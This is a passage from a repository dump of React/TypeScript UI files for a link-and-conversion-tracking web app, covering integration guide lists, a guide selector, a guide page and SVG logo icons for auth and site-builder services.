    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Shopify } from \"@/ui/guides/icons/shopify\";\nimport {\n  ProgramSheetAccordion,\n  ProgramSheetAccordionContent,\n  ProgramSheetAccordionItem,\n  ProgramSheetAccordionTrigger,\n} from \"@/ui/partners/program-sheet-accordion\";\nimport { Button, useRouterStuff } from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\nimport {\n  guides,\n  IntegrationGuide,\n  IntegrationType,\n  sections,\n} from \"./integrations\";\n\nconst guidesByType = guides.reduce(\n  (acc, guide) => {\n    if (!acc[guide.type]) {\n      acc[guide.type] = [];\n    }\n    acc[guide.type].push(guide);\n    return acc;\n  },\n  {} as Record<IntegrationType, IntegrationGuide[]>,\n);\n\nexport function GuideList() {\n  const pathname = usePathname();\n  const { router, searchParams, queryParams } = useRouterStuff();\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const currentStep = searchParams.get(\"step\") ?? sections[0].type;\n\n  const showConnectLaterButton = pathname.includes(\"/program/new/connect\");\n\n  return (\n    <div>\n      <ProgramSheetAccordion\n        type=\"single\"\n        collapsible\n        value={currentStep}\n        onValueChange={(value) => {\n          queryParams({\n            set: {\n              step: value || \"none\",\n            },\n            scroll: false,\n          });\n        }}\n        className=\"space-y-4\"\n      >\n        {sections.map((section, index) => (\n          <ProgramSheetAccordionItem key={section.type} value={section.type}>\n            <ProgramSheetAccordionTrigger className=\"bg-neutral-100 px-4 py-2.5\">\n              <div className=\"flex items-center gap-2\">\n                <div className=\"flex size-5 items-center justify-center rounded-full bg-white text-sm font-semibold leading-6 text-neutral-900\">\n                  {index + 1}\n                </div>\n\n                <h3 className=\"text-base font-semibold leading-6 text-neutral-900\">\n                  {section.title}\n                </h3>\n              </div>\n            </ProgramSheetAccordionTrigger>\n\n            <ProgramSheetAccordionContent>\n              <div className=\"space-y-6\">\n                <p className=\"text-sm font-medium text-neutral-600\">\n                  {section.description}\n                </p>\n\n                <div className=\"grid grid-cols-1 gap-4 sm:grid-cols-2 md:grid-cols-3\">\n                  {(guidesByType[section.type] || []).map((guide, idx) => (\n                    <Link\n                      key={idx}\n                      href={`${pathname}/${guide.key}`}\n                      className=\"group relative flex h-[140px] cursor-pointer flex-col items-center justify-center gap-3 rounded-lg bg-neutral-100 px-2 py-4 text-center transition-colors hover:bg-neutral-200/75\"\n                    >\n                      {guide.recommended && (\n                        <div className=\"absolute -top-2 left-1/2 z-10 -translate-x-1/2\">\n                          <div className=\"relative\">\n                            <div className=\"rotate-1 transform rounded-full bg-gradient-to-r from-blue-500 to-purple-600 px-3 py-1 text-xs font-semibold text-white shadow-lg\">\n                              Recommended\n                            </div>\n                            <div className=\"absolute -bottom-1 left-1/2 h-2 w-2 -translate-x-1/2 rotate-45 transform bg-gradient-to-r from-blue-500 to-purple-600\"></div>\n                          </div>\n                        </div>\n                      )}\n\n                      <div className=\"flex h-16 w-full items-center justify-center\">\n                        <guide.icon className=\"size-10\" />\n                      </div>\n\n                      <div>\n                        <div className=\"w-full text-sm font-semibold leading-5 text-neutral-900\">\n                          {guide.title}\n                        </div>\n\n                        {guide.subtitle && (\n                          <div className=\"w-full text-sm font-medium leading-5 text-neutral-500\">\n                            {guide.subtitle}\n                          </div>\n                        )}\n                      </div>\n                    </Link>\n                  ))}\n                </div>\n\n                <div className=\"flex flex-col items-center justify-center space-y-3\">\n                  <Button\n                    text=\"I've completed this\"\n                    className=\"rounded-lg\"\n                    onClick={() => {\n                      if (sections.length - 1 === index) {\n                        router.push(\n                          showConnectLaterButton\n                            ? `/${workspaceSlug}/program/new/overview`\n                            : `/${workspaceSlug}/customers`,\n                        );\n                        return;\n                      }\n                      queryParams({\n                        set: {\n                          step: sections[index + 1].type,\n                        },\n                        scroll: false,\n                      });\n                    }}\n                  />\n\n                  {[\"track-lead\", \"track-sale\"].includes(section.type) && (\n                    <p className=\"flex items-center justify-center gap-2 text-center text-sm font-medium leading-5 text-neutral-500\">\n                      <Shopify className=\"inline size-4\" />\n                      If you're using Shopify, you can skip this step.{\" \"}\n                      <Link\n                        href=\"https://dub.co/docs/conversions/sales/shopify\"\n                        className=\"text-neutral-500 underline underline-offset-2\"\n                        target=\"_blank\"\n                        rel=\"noreferrer\"\n                      >\n                        Read the guide.\n                      </Link>\n                    </p>\n                  )}\n                </div>\n              </div>\n            </ProgramSheetAccordionContent>\n          </ProgramSheetAccordionItem>\n        ))}\n      </ProgramSheetAccordion>\n\n      {showConnectLaterButton && (\n        <div className=\"mt-6 flex items-center justify-end gap-4\">\n          <Link href={`/${workspaceSlug}/program/new/overview`}>\n            <Button\n              text=\"I'll set up conversion tracking later\"\n              className=\"h-8 w-fit rounded-lg\"\n              variant=\"secondary\"\n            />\n          </Link>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/guide-selector.tsx",
    "content": "import { Popover } from \"@dub/ui\";\nimport { Check2 } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronDown } from \"lucide-react\";\nimport { useState } from \"react\";\nimport { IntegrationGuide } from \"./integrations\";\n\ninterface GuideSelectorProps {\n  value: IntegrationGuide | null;\n  guides: IntegrationGuide[];\n  onChange: (guide: IntegrationGuide) => void;\n  disabled?: boolean;\n  className?: string;\n}\n\nconst GuideSelectorIcon = ({\n  icon: Icon,\n  fullSize,\n}: { icon: any } & IntegrationGuide[\"iconProps\"]) => {\n  const containerClassName =\n    \"size-8 shrink-0 overflow-hidden rounded-lg bg-white\";\n\n  if (fullSize) {\n    return <Icon className={containerClassName} width=\"auto\" height=\"100%\" />;\n  }\n\n  return (\n    <div\n      className={cn(\n        \"flex items-center justify-center border border-neutral-200\",\n        containerClassName,\n      )}\n    >\n      <Icon className=\"size-5\" />\n    </div>\n  );\n};\n\nexport function GuideSelector({\n  value,\n  guides,\n  onChange,\n  disabled,\n  className,\n}: GuideSelectorProps) {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return (\n    <Popover\n      content={\n        <GuideList\n          selected={value}\n          guides={guides}\n          onChange={onChange}\n          setOpenPopover={setOpenPopover}\n        />\n      }\n      side=\"bottom\"\n      align=\"start\"\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n      popoverContentClassName=\"min-w-[280px]\"\n    >\n      <button\n        onClick={() => setOpenPopover(!openPopover)}\n        disabled={disabled}\n        className={cn(\n          \"flex items-center gap-x-2 rounded-lg px-2 py-1 text-left text-sm transition-all duration-75\",\n          \"hover:bg-neutral-200/50 active:bg-neutral-200/80 data-[state=open]:bg-neutral-200/50\",\n          \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n          disabled && \"cursor-not-allowed opacity-50\",\n          className,\n        )}\n      >\n        {value ? (\n          <>\n            <GuideSelectorIcon icon={value.icon} {...(value.iconProps || {})} />\n            <div className=\"min-w-0 flex-1\">\n              <div className=\"truncate text-sm font-semibold text-neutral-900\">\n                {value.title}\n              </div>\n              {value.subtitle && (\n                <div className=\"truncate text-xs text-neutral-500\">\n                  {value.subtitle}\n                </div>\n              )}\n            </div>\n          </>\n        ) : (\n          <div className=\"text-neutral-500\">Select a guide</div>\n        )}\n        <ChevronDown className=\"size-4 shrink-0 text-neutral-400\" />\n      </button>\n    </Popover>\n  );\n}\n\nfunction GuideList({\n  selected,\n  guides,\n  onChange,\n  setOpenPopover,\n}: {\n  selected: IntegrationGuide | null;\n  guides: IntegrationGuide[];\n  onChange: (guide: IntegrationGuide) => void;\n  setOpenPopover: (open: boolean) => void;\n}) {\n  return (\n    <div className=\"flex flex-col gap-0.5 p-2\">\n      {guides.map((guide) => {\n        const isActive = selected?.key === guide.key;\n        return (\n          <button\n            key={guide.key}\n            className={cn(\n              \"relative flex w-full items-center gap-x-2 rounded-md px-2 py-1 text-left transition-all duration-75\",\n              \"hover:bg-neutral-200/50 active:bg-neutral-200/80\",\n              \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n              isActive && \"bg-neutral-200/50\",\n            )}\n            onClick={() => {\n              onChange(guide);\n              setOpenPopover(false);\n            }}\n          >\n            <GuideSelectorIcon icon={guide.icon} {...(guide.iconProps || {})} />\n            <div className=\"min-w-0 flex-1\">\n              <div className=\"flex items-center gap-x-2\">\n                <span className=\"block truncate text-sm font-medium leading-5 text-neutral-900\">\n                  {guide.title}\n                </span>\n                {guide.recommended && (\n                  <span className=\"inline-flex items-center rounded-full bg-blue-50 px-2 py-0.5 text-xs font-medium text-blue-700\">\n                    Recommended\n                  </span>\n                )}\n              </div>\n              {guide.subtitle && (\n                <div className=\"mt-0.5 truncate text-xs text-neutral-500\">\n                  {guide.subtitle}\n                </div>\n              )}\n            </div>\n            {isActive && (\n              <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-black\">\n                <Check2 className=\"size-4\" aria-hidden=\"true\" />\n              </span>\n            )}\n          </button>\n        );\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/guide.tsx",
    "content": "\"use client\";\n\nimport { Button, buttonVariants, ChevronLeft } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport { GuideActionButton } from \"./guide-action-button\";\nimport { InstallStripeIntegrationButton } from \"./install-stripe-integration-button\";\nimport { guides, IntegrationType } from \"./integrations\";\nimport { GuidesMarkdown } from \"./markdown\";\n\nconst integrationTypeToTitle: Record<IntegrationType, string> = {\n  \"client-sdk\": \"Install client-side script\",\n  \"track-lead\": \"Track lead events\",\n  \"track-sale\": \"Track sale events\",\n};\n\nexport function Guide({ markdown }: { markdown: string }) {\n  const { guide } = useParams() as { guide: string[] };\n  const guideKey = guide[0];\n  const selectedGuide = guides.find((g) => g.key === guideKey)!;\n  const Icon = selectedGuide.icon;\n\n  const pathname = usePathname();\n  const backHref = `${pathname.replace(`/${guideKey}`, \"\")}?step=${selectedGuide.type}`;\n\n  return (\n    <>\n      <hr className=\"mb-6 border-neutral-200\" />\n      <div className=\"mx-auto max-w-2xl space-y-5\">\n        <div className=\"flex items-center justify-between\">\n          <Link href={backHref}>\n            <Button\n              variant=\"secondary\"\n              className=\"h-8 w-fit rounded-lg border-none bg-neutral-100 px-2\"\n              icon={<ChevronLeft className=\"size-3.5 text-neutral-900\" />}\n            />\n          </Link>\n\n          <GuideActionButton guide={selectedGuide} markdown={markdown} />\n        </div>\n\n        <div>\n          <Icon className=\"size-8\" />\n        </div>\n\n        <div className=\"flex flex-col\">\n          <span className=\"text-sm font-medium leading-5 text-neutral-500\">\n            {integrationTypeToTitle[selectedGuide.type]}\n          </span>\n          <span className=\"text-xl font-semibold leading-7 text-neutral-900\">\n            Instructions for {selectedGuide.description || selectedGuide.title}\n          </span>\n        </div>\n\n        <div className=\"space-y-6 rounded-2xl bg-white p-0 shadow-none\">\n          {selectedGuide.type === \"track-sale\" &&\n            selectedGuide.key.startsWith(\"stripe\") && (\n              <InstallStripeIntegrationButton />\n            )}\n          <GuidesMarkdown>{markdown}</GuidesMarkdown>\n\n          <Link\n            href={backHref}\n            className={cn(\n              buttonVariants({\n                variant: \"primary\",\n              }),\n              \"flex h-10 w-full items-center justify-center rounded-lg border border-neutral-200 px-4 text-sm\",\n            )}\n          >\n            I've completed this\n          </Link>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/appwrite.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Appwrite(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"46\"\n      height=\"40\"\n      viewBox=\"0 0 46 40\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_18024_112143)\">\n        <path\n          d=\"M45.3735 30.0004V40H20.3107C13.0086 40 6.63315 35.9783 3.22183 29.9996C1.71291 27.3508 0.825926 24.3936 0.62793 21.3516V18.6484C0.716855 17.2602 0.950569 15.8851 1.32527 14.5455C3.66656 6.15098 11.2801 0 20.3107 0C29.3413 0 36.9532 6.15098 39.2945 14.5455H28.5777C26.8187 11.8092 23.7742 9.99958 20.3107 9.99958C16.8472 9.99958 13.802 11.8092 12.0429 14.5455C11.4999 15.3879 11.087 16.3073 10.818 17.2728C10.5708 18.1607 10.446 19.0783 10.447 20C10.447 22.8664 11.6354 25.4495 13.5419 27.2732C15.3603 29.0237 17.7866 30.001 20.3107 29.9996L45.3735 30.0004Z\"\n          fill=\"url(#paint0_linear_18024_112143)\"\n        />\n        <path\n          d=\"M45.3729 17.272V27.2732H27.0781C28.0599 26.3338 28.8405 25.2047 29.3727 23.9544C29.9049 22.7042 30.1774 21.3588 30.1739 20C30.1739 19.0551 30.0447 18.1407 29.8029 17.2728L45.3729 17.272Z\"\n          fill=\"#FD366E\"\n        />\n      </g>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_18024_112143\"\n          x1=\"11.1567\"\n          y1=\"-0.0703976\"\n          x2=\"70.7095\"\n          y2=\"64.4176\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop offset=\"0.36\" stop-color=\"#FD366E\" />\n          <stop offset=\"1\" stop-color=\"#FE9567\" />\n        </linearGradient>\n        <clipPath id=\"clip0_18024_112143\">\n          <rect\n            width=\"44.7455\"\n            height=\"40\"\n            fill=\"white\"\n            transform=\"translate(0.626953)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/auth-js.tsx",
    "content": "import { SVGProps, useId } from \"react\";\n\nexport function AuthJs(props: SVGProps<SVGSVGElement>) {\n  const id = useId();\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"35\"\n      height=\"39\"\n      fill=\"none\"\n      viewBox=\"0 0 35 39\"\n      {...props}\n    >\n      <g clipPath={`url(#${id}-a)`}>\n        <path\n          fill={`url(#${id}-b)`}\n          fillRule=\"evenodd\"\n          d=\"M33.941 5.553 4.926 27.6C1.363 21.148.13 13.364.037 8.696V5.838c0-.416.452-.658.677-.727A6523 6523 0 0 1 15.77.59a5.2 5.2 0 0 1 1.25-.208h.016c.174 0 .667.041 1.25.208.584.166 10.28 3.082 15.056 4.52.168.051.46.199.6.442\"\n          clipRule=\"evenodd\"\n        ></path>\n        <path\n          fill={`url(#${id}-c)`}\n          fillRule=\"evenodd\"\n          d=\"M4.926 27.63 33.941 5.582a.57.57 0 0 1 .078.285v2.858c-.156 7.915-3.595 24.783-16.098 28.939-.173.07-.583.208-.833.208h-.12c-.25 0-.66-.139-.834-.208-5.127-1.705-8.73-5.547-11.208-10.034\"\n          clipRule=\"evenodd\"\n        ></path>\n        <path\n          fill={`url(#${id}-d)`}\n          fillOpacity=\"0.21\"\n          d=\"M18.19.591a5.2 5.2 0 0 0-1.25-.208l-.052 37.534h.104c.25 0 .66-.139.834-.208C30.335 33.544 33.775 16.642 33.93 8.712V5.85c0-.416-.451-.66-.677-.729A6483 6483 0 0 0 18.19.591\"\n        ></path>\n        <path\n          fill=\"#E3E2FA\"\n          d=\"M17.08 26.62c4.29 0 7.766-3.45 7.766-7.704 0-4.256-3.477-7.705-7.766-7.705s-7.766 3.45-7.766 7.705 3.477 7.704 7.766 7.704\"\n        ></path>\n        <path\n          fill={`url(#${id}-e)`}\n          fillRule=\"evenodd\"\n          d=\"M15.673 20.583c-.59.052-2.084-.209-2.814-.833-.784-.671-1.199-1.562-1.199-2.864 0-1.614 1.46-3.331 3.492-3.28 1.93.05 3.233 1.137 3.492 2.864.136.901-.002 1.334-.11 1.67l-.046.152c-.052.173-.125.552 0 .677s2.033 1.96 2.97 2.863c.088.104.262.364.262.572v.99c0 .156-.042.208-.209.208h-2.085c-.121-.018-.365-.135-.365-.469 0-.355-.038-.407-.113-.512q-.02-.026-.043-.06c-.104-.157-.313-.157-.521-.157q-.313 0-.47-.156c-.104-.104-.104-.26-.051-.468.052-.208 0-.417-.105-.469l-.057-.031c-.114-.065-.297-.169-.516-.125-.26.052-.625 0-.834-.208s-.47-.377-.678-.364m-1.407-3.957a.781.781 0 1 0 0-1.563.781.781 0 0 0 0 1.563\"\n          clipRule=\"evenodd\"\n        ></path>\n      </g>\n      <defs>\n        <linearGradient\n          id={`${id}-b`}\n          x1=\"3.216\"\n          x2=\"15.866\"\n          y1=\"16.052\"\n          y2=\"2.815\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#45FFC8\"></stop>\n          <stop offset=\"1\" stopColor=\"#1DBBF1\"></stop>\n        </linearGradient>\n        <linearGradient\n          id={`${id}-c`}\n          x1=\"12.025\"\n          x2=\"27.758\"\n          y1=\"23.698\"\n          y2=\"31.366\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#D14AE8\"></stop>\n          <stop offset=\"0.552\" stopColor=\"#B628E3\"></stop>\n          <stop offset=\"1\" stopColor=\"#8315FD\"></stop>\n        </linearGradient>\n        <linearGradient\n          id={`${id}-d`}\n          x1=\"25.368\"\n          x2=\"25.368\"\n          y1=\"3.923\"\n          y2=\"30.004\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#20ABF5\"></stop>\n          <stop offset=\"0.398\" stopColor=\"#2A8CC3\"></stop>\n          <stop offset=\"1\" stopColor=\"#A104DC\"></stop>\n        </linearGradient>\n        <linearGradient\n          id={`${id}-e`}\n          x1=\"14.683\"\n          x2=\"21.034\"\n          y1=\"16.522\"\n          y2=\"22.933\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#FE5B01\"></stop>\n          <stop offset=\"1\" stopColor=\"#FFB200\"></stop>\n        </linearGradient>\n        <clipPath id={`${id}-a`}>\n          <path fill=\"#fff\" d=\"M.037.383h34.118V38.03H.037z\"></path>\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/auth0.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Auth0(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"41\"\n      height=\"40\"\n      fill=\"none\"\n      viewBox=\"0 0 41 40\"\n      {...props}\n    >\n      <path\n        fill=\"#000\"\n        d=\"M7.436 18.013c6.012-.99 10.721-5.96 11.711-11.967l.332-2.89c.08-.46-.229-1.096-.81-1.052-4.543.353-8.825 1.851-11.214 2.827A3.145 3.145 0 0 0 5.5 7.842v9.424c0 .56.5.983 1.053.894l.883-.143zM22.046 6.05c.99 6.01 5.7 10.977 11.711 11.967l.884.143a.905.905 0 0 0 1.052-.894V7.842a3.15 3.15 0 0 0-1.954-2.911c-2.386-.976-6.671-2.474-11.214-2.827-.582-.044-.884.6-.814 1.052l.331 2.89zM33.753 20.654c-8.213 1.62-12.027 7.079-12.027 17.415 0 .519.515.876.946.589 3.777-2.547 12.09-9.196 12.948-17.514.033-1.05-1.278-.556-1.867-.49M7.439 20.658c8.213 1.62 12.027 7.078 12.027 17.415 0 .519-.515.876-.946.589-3.777-2.548-12.09-9.196-12.948-17.515-.033-1.049 1.278-.555 1.867-.49\"\n      ></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/better-auth.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BetterAuth(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"40\"\n      height=\"40\"\n      viewBox=\"0 0 40 40\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_18024_112090)\">\n        <path d=\"M0 0H40V40H0V0Z\" fill=\"black\" />\n        <path\n          d=\"M5.51953 9.68018H12.4786V30.4002H5.51953V9.68018ZM27.0055 9.68018H34.3995V30.4002H27.0055V9.68018Z\"\n          fill=\"white\"\n        />\n        <path\n          d=\"M34.1823 9.68018V16.3567H20.2207V9.68018H34.1823ZM34.3997 23.7237V30.4002H20.2207V23.7237H34.3997Z\"\n          fill=\"white\"\n        />\n        <path\n          d=\"M20.2214 16.3564V23.7236H12.4795V16.3564H20.2214Z\"\n          fill=\"white\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_18024_112090\">\n          <rect width=\"40\" height=\"40\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/clerk.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Clerk(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"40\"\n      height=\"40\"\n      viewBox=\"0 0 40 40\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M20 26.25C23.4517 26.25 26.25 23.4518 26.25 20C26.25 16.5482 23.4517 13.75 20 13.75C16.5482 13.75 13.75 16.5482 13.75 20C13.75 23.4518 16.5482 26.25 20 26.25Z\"\n        fill=\"#6C47FF\"\n      />\n      <path\n        d=\"M31.2599 34.7979C31.7917 35.3297 31.7383 36.2101 31.1134 36.6286C27.9346 38.7579 24.1109 39.9998 19.9973 39.9998C15.8838 39.9998 12.0602 38.7579 8.88125 36.6286C8.25646 36.2101 8.20307 35.3297 8.73481 34.7979L13.3022 30.2305C13.7151 29.8177 14.3554 29.7525 14.8751 30.0187C16.4113 30.8058 18.1526 31.2498 19.9973 31.2498C21.8422 31.2498 23.5833 30.8058 25.1197 30.0187C25.6393 29.7525 26.2797 29.8177 26.6926 30.2305L31.2599 34.7979Z\"\n        fill=\"#6C47FF\"\n      />\n      <path\n        d=\"M31.116 3.37125C31.7407 3.78975 31.7941 4.67011 31.2624 5.20186L26.695 9.7693C26.2823 10.1821 25.6417 10.2473 25.1222 9.98114C23.5859 9.19406 21.8447 8.75 19.9999 8.75C13.7867 8.75 8.74996 13.7867 8.74996 20C8.74996 21.8449 9.19403 23.586 9.9811 25.1224C10.2473 25.642 10.1821 26.2824 9.76926 26.6951L5.20184 31.2626C4.67009 31.7944 3.78973 31.7409 3.37122 31.1161C1.2419 27.9371 0 24.1136 0 20C0 8.9543 8.95426 0 19.9999 0C24.1135 0 27.937 1.24191 31.116 3.37125Z\"\n        fill=\"#BAB1FF\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/code-editor.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CodeEditor(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"36\"\n      height=\"32\"\n      viewBox=\"0 0 36 32\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M6.33355 29.8892L29.6669 29.8892C32.1215 29.8892 34.1113 27.8993 34.1113 25.4447V6.55583C34.1113 4.10123 32.1215 2.11138 29.6669 2.11138L6.33355 2.11138C3.87895 2.11138 1.88911 4.10123 1.88911 6.55583V25.4447C1.88911 27.8993 3.87895 29.8892 6.33355 29.8892Z\"\n        stroke=\"#404040\"\n        strokeWidth=\"2.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M9.66699 2.11133V29.8891\"\n        stroke=\"#404040\"\n        strokeWidth=\"2.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M21.8887 18.7778H28.5553\"\n        stroke=\"#404040\"\n        strokeWidth=\"2.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M18.5557 13.2227H24.6668\"\n        stroke=\"#404040\"\n        strokeWidth=\"2.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M18.5557 24.3335H23.0001\"\n        stroke=\"#404040\"\n        strokeWidth=\"2.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M15.2227 7.66699H18.556\"\n        stroke=\"#404040\"\n        strokeWidth=\"2.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/custom.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Custom(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"41\"\n      height=\"40\"\n      fill=\"none\"\n      viewBox=\"0 0 41 40\"\n      {...props}\n    >\n      <rect width=\"40\" height=\"40\" x=\"0.333\" fill=\"#FED7AA\" rx=\"20\"></rect>\n      <path\n        stroke=\"#9A3412\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.728\"\n        d=\"M15.533 24.48 11.053 20l4.48-4.48M25.133 24.48l4.48-4.48-4.48-4.48M18.413 28l3.84-16\"\n      ></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/framer.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Framer(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"28\"\n      height=\"40\"\n      viewBox=\"0 0 28 40\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_18024_111660)\">\n        <path\n          d=\"M0.667969 0H27.3346V13.3333H14.0013L0.667969 0ZM0.667969 13.3333H14.0013L27.3346 26.6667H14.0013V40L0.667969 26.6667V13.3333Z\"\n          fill=\"black\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_18024_111660\">\n          <rect\n            width=\"26.6667\"\n            height=\"40\"\n            fill=\"white\"\n            transform=\"translate(0.666992)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/gtm.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function GoogleTagManager(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"40\"\n      height=\"40\"\n      viewBox=\"0 0 256 256\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      preserveAspectRatio=\"xMidYMid\"\n      {...props}\n    >\n      <g>\n        <polygon\n          fill=\"#8AB4F8\"\n          points=\"150.261818 245.516364 105.825455 202.185455 201.258182 104.730909 247.265455 149.821818\"\n        />\n        <path\n          fill=\"#4285F4\"\n          d=\"M150.450909,53.9381818 L106.174545,8.73090909 L9.36,104.629091 C-3.12,117.109091 -3.12,137.341818 9.36,149.836364 L104.72,245.821818 L149.810909,203.64 L77.1563636,127.232727 L150.450909,53.9381818 Z\"\n        />\n        <path\n          fill=\"#8AB4F8\"\n          d=\"M246.625455,105.370909 L150.625455,9.37090909 C138.130909,-3.12363636 117.869091,-3.12363636 105.374545,9.37090909 C92.88,21.8654545 92.88,42.1272727 105.374545,54.6218182 L201.374545,150.621818 C213.869091,163.116364 234.130909,163.116364 246.625455,150.621818 C259.12,138.127273 259.12,117.865455 246.625455,105.370909 Z\"\n        />\n        <circle fill=\"#246FDB\" cx=\"127.265455\" cy=\"224.730909\" r=\"31.2727273\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/guides/icons/next-auth.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function NextAuth(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"38\"\n      height=\"40\"\n      viewBox=\"0 0 38 40\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_18024_112096)\">\n        <path\n          fillRule=\"evenodd\"\n          clipRule=\"evenodd\"\n          d=\"M36.877 5.49293L6.08523 28.919C2.30405 22.0631 0.994339 13.7927 0.896484 8.83233V5.79622C0.896484 5.3546 1.37559 5.09703 1.61519 5.02338C6.68298 3.49617 16.9735 0.397455 17.5927 0.220809C18.2118 0.0441617 18.7351 0 18.9196 0H18.9363C19.1206 0 19.6439 0.0441617 20.2632 0.220809C20.8823 0.397455 31.1729 3.49617 36.2406 5.02338C36.4189 5.07816 36.7296 5.23471 36.877 5.49293Z\"\n          fill=\"url(#paint0_linear_18024_112096)\"\n        />\n        <path\n          fillRule=\"evenodd\"\n          clipRule=\"evenodd\"\n          d=\"M6.08496 28.9572L36.8767 5.53125C36.9276 5.62035 36.9591 5.72137 36.9591 5.83454V8.87065C36.7933 17.2798 33.1443 35.202 19.8759 39.6182C19.6917 39.6919 19.2567 39.8391 18.9914 39.8391H18.864C18.5986 39.8391 18.1636 39.6919 17.9794 39.6182C12.5376 37.807 8.71387 33.7241 6.08496 28.9572Z\"\n          fill=\"url(#paint1_linear_18024_112096)\"\n        />\n        <path\n          d=\"M20.1622 0.22125C19.5427 0.04425 19.0191 0 18.8346 0L18.7793 39.8802H18.89C19.1555 39.8802 19.5907 39.7328 19.775 39.659C33.05 35.234 36.7007 17.2759 36.8665 8.84998V5.80781C36.8665 5.36531 36.3872 5.10717 36.1474 5.03343C31.0772 3.50312 20.7817 0.39825 20.1622 0.22125Z\"\n          fill=\"url(#paint2_linear_18024_112096)\"\n          fillOpacity=\"0.21\"\n        />\n        <path\n          d=\"M18.9837 27.8774C23.5354 27.8774 27.2253 24.2123 27.2253 19.6911C27.2253 15.17 23.5354 11.5049 18.9837 11.5049C14.4321 11.5049 10.7422 15.17 10.7422 19.6911C10.7422 24.2123 14.4321 27.8774 18.9837 27.8774Z\"\n          fill=\"#E3E2FA\"\n        />\n        <path\n          fillRule=\"evenodd\"\n          clipRule=\"evenodd\"\n          